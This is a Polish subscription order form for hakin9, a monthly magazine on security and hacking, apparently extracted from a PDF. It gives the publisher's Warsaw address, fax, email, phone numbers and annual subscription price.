Numer NIP firmy .............................................................................
Fax (wraz z nr kierunkowym) .........................................................
Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail:
pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53
Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego
www.buyitpress.com.
Prenumerujesz
– zyskujesz
l
oszczędność
pieniędzy
l
szybka dostawa
l
prezenty
l
bezpieczna płatność
ność on–line
Tytuł
Ilość
nume-
rów
Ilość
zama-
wianych
prenume-
rat
Od
numeru
pisma
lub mie-
siąca
Cena
hakin9, jak się obronić
(1 płyta CD)
Miesięcznik o
bezpieczeństwie
i hakingu
11
199*/
219
PLN
� automatyczne przedłużenie prenumeraty
* cena prenumeraty rocznej dla osób prywatnych
Zadzwoń
+48 22 427 36 93
lub
zamów
mailowo!